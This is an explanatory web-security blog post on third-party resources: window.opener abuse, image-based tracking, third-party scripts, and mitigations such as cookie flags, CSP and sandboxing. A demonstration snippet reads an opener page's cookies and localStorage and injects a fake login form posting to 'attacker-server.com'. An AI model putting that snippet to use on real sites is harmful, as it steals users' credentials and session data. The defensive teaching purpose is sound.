Web security implications of 3rd party resources ๐Ÿ•ต๏ธโ€โ™‚๏ธ

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As web developers, using 3rd party resources is extremely common. We use 3rd party JavaScripts all the time, either via npm, bundled into our code, or via <script> tag (e.g.: Google Analytics, etc). Embedding 3rd party images/media is also pretty common. Even linking to a 3rd-party site can have security implications!

Let's go over some of the more common attack vectors when using 3rd party resources, what problems they may cause, and how to mitigate them.


Including 3rd party resources on a site opens up the possibility of the 3rd party doing tracking and/or running code on the site; which can be used to do anything from stealing data to modifying the page itself.

What are considered 3rd party resources?

3rd party resources are resources that are not from the same origin as the current page. For instance, if you are on https://jackyef.com, then any resources not from https://jackyef.com are considered 3rd party resources. Two origins are considered the same origin if they have the same protocol, port, and host.

Some examples include loading JS from UNPKG, loading images from Unsplash, etc.

Also, while technically not coming from a 3rd party origin, users' provided code can be considered 3rd party script as well, as it is essentially running code from an unknown source. The same applies for code coming from 3rd party package on npm.

Common attack vectors

window.open() and <a> with target="_blank"

Sometimes, we might open a link in a new tab using either window.open() or <a target="_blank">. A couple of things to note when we do this are the opener and referrer behaviors.

When linking to a page in the same origin with the opener feature enabled, the opened page will have access to some amount of the opener context via window.opener global variable. This means the opened page could do things like redirect the opener page, or even steal data from the opener page.

if (window.opener) {
  // Opened page can redirect the opener
  window.opener.location = '/?status=redirected';

  // ...or access some cookies and localStorage data
  fetch('/api/steal-data', {
    method: 'POST',
    body: JSON.stringify({
      localStorage: window.opener.localStorage,
      cookie: window.opener.document.cookie,

  // ...or even modify the DOM of the opener page
  const form = window.opener.document.createElement('form');
  form.innerHTML = `
    <input type="username" name="username">
    <input type="password" name="password">
  form.action = 'https://attacker-server.com/steal-data';
  form.method = 'POST';

Try clicking on the button below to see an example.

Fortunately, browsers automatically set window.opener to null if the target page is hosted on a different origin, so this attack vector is not that dangerous for most sites. Though if you are building a site like CodePen where you allow users to run arbitrary code on your origin, this could be a problem as it is essentially a cross-site scripting vulnerability. Imagine the script creating a fake login form (via window.opener.document.append() shenanigans) on your origin, but sending those data to their own server.

referrer is less dangerous. It simply tells the server where the request is coming from via the referer header in the sent request. This is mostly used for tracking. It is how most analytics services know whether a user comes to your site from a social network site, search engine, or directly from the URL bar. if you are writing a blog post that has links to other sites and you don't want them to know that you are linking to them, you can use noreferrer so the request won't include the referer header.

The default behavior for window.open() and <a target="_blank"> is different. referrer is enabled on both by default, but opener is only enabled by default for window.open(). Refer to the following snippet to disable both of them.

window.open('/some-page', '_blank', 'noopener,noreferrer');

<a href="/some-page" target="_blank" rel="noopener noreferrer">
  Some page
Some trivia

You might notice that I mentioned referer at some places and referrer at other places. They are actually referring to the same thing. The request header is spelled referer, which was actually a typo that was never fixed. In most other places, it's called referrer.

Read more on MDN.

3rd party <img>

Embedding 3rd party images isn't as dangerous, but it still has some implications, especially in relation to tracking.

Imagine that you built an authentication service, Sign in with Gewgle. Various sites use your services to allow their users to sign in. You provide unique profile image URLs for each user so the sites can render them.

<img src="https://gewgle.com/users/:userId.png" />

Any site that renders this <img> is essentially always sending a request to gewgle.com whenever the page is loaded. As the owner of gewgle.com, you can now track the browsing history of your users. You can see which sites they visit via the referer header when the site sends an image request to gewgle.com. You can also approximately guess the time they visited each site by observing the timestamp of the image request.

This is also a technique that email marketers use to detect whether their emails were opened by the recipients.

The 'Do Not Track' header

Some browsers include a DNT header in the request, indicating that the users would not like to be tracked. Unfortunately, there is no guarantee that service providers would respect the header.

Also, unfortunately, the feature is now marked as deprecated on MDN.

3rd party <script>

Running 3rd party scripts on your site is essentially allowing the 3rd party to do a remote code execution on the computer of the users visiting your site. If it sounds dangerous, it is because it is! Though, we web developers have been so accustomed to including 3rd party scripts on our sites that most of the time we might not even think too much about it. Analytics scripts, ads, some services' SDK, libraries from cdnjs and unpkg, and so on!

Once a 3rd party script is running on an origin, it can practically do everything we have mentioned so far. It is similar to the case with linking where the opened page gains access to window.opener, but this time it is more dangerous! The 3rd party script has access to the full window object. This opens up many possibilities, including but not limited to:

  • stealing unsecured cookies (document.cookie, fetch())
  • accessing localStorage (document.localStorage)
  • scraping data in the document (document.querySelector())
  • modifying the document to create fake interfaces (document.body.appendChild())
  • sending data to the attacker's server (fetch())
  • and the list goes on and on!

So, we better be damn sure that we trust the 3rd party when including their script on our site.

Mitigation strategy

Fortunately, browser vendors have been working hard to add security features to prevent these attacks from happening and/or lessen the impacts when they actually happened.


Cookies are the most common way to store user-related data on the browser. Successfully stealing cookies means the attacker can impersonate the user and do whatever they want on the site. A few things to do to make sure your cookies are safe when an attacker is able to run a script on your site:

  • Use HttpOnly flag

    This prevents the cookie to be included in the returned value of document.cookie

  • Use Secure flag

    This prevents the cookie from being sent over HTTP.

  • Do not use SameSite=None flag (unless you know what you're doing)

    SameSite=None will mark a cookie to be included in requests to 3rd party origins.

Content-Security-Policy (CSP)

CSP is a browser feature that allows you to specify which resources are allowed to be loaded or run on your site. It is a very powerful tool to prevent attacks like cross-site scripting.

We are not going to cover everything CSP can do in this article, but the main idea is as follows.

We set a Content-Security-Policy in the response header for our site. The header should exist in the response containing the HTML document.

Content-Security-Policy: script-src https://example.com/

With that set in place, any script not coming from example.com will not be run.

<!-- this script will not be run -->
<script src="https://not-example.com/js/library.js"></script>

What about scripts that run from a stored XSS attack? Those aren't from a specific origin, how do we block those?

Stored XSS

An XSS that happens when a user managed to inject something like <script>alert(1)</script> into the page.

Fortunately, once we have a CSP header with script-src, inline scripts are automatically blocked. Though if we want to keep using inline scripts while still blocking the stored XSS scripts, we can do that by using a nonce.

Content-Security-Policy: script-src 'nonce-SomeRandomlyGeneratedUnguessableString';

With that set, the following inline script will be allowed by the browser to run.

<script nonce="SomeRandomlyGeneratedUnguessableString">
  alert('I am allowed to run!');

If you're interested, you can go to MDN to see everything CSP can do.

Other cases

What if I actually have to run users' provided code?

CSP helps in preventing untrusted code from running, but what if we really need to run the users' code? What if we are running a platform like CodePen that allows user to write their own scripts?

In those cases, we can do the followings:

  • run the code in a sandboxed <iframe>
  • run the code in a separate origin. For instance, CodePen runs on https://codepen.io/, but users' code runs on a separate origin like https://cdpn.io/. This automatically comes with a lot of security benefits as most browsers do not share resources between origins by default.

If you are interested in how sites like CodePen handle these cases, give User-Generated Content Safety (Podcast, CodePen Radio) a listen!

What about "3rd party scripts" from npm?

Unfortunately, once a 3rd party script from an npm package made it to your JavaScript bundle, it would have as much power as your own code. Sure, technically you could make it so these codes are codesplitted differently, run on a separate origin, and pass the data you need via window.postMessage(). Though with that being said, for the most part, whenever you are using an npm package, you are essentially fully trusting that the authors have no malicious intent. This is why whenever a popular package is hijacked by a malicious actor, it's always a big deal. (see: ua-parser-js case)


Embedding 3rd party resources of any kind comes with some security implications. 3rd parties can do some clever things to track users, steal data, trick users, etc. Being mindful of these implications and understanding how they work is important to build a secure site.

In a way, it is interesting that the web is largely built upon the idea of trusting 3rd party resources (think analytics scripts, SDK, images, etc.), even though the potential risk could be as high as a remote code execution vulnerability. Though, since the code is running on a browser, the risk might not be comparable to code running on an actual server.

With that being said, it's also kinda amazing how browser vendors are able to keep shipping great security features with sensible defaults, mitigating the risks even more.

This article is not meant to be a complete guide to web security. It merely talks about some common security implications of embedding 3rd party resources on a site.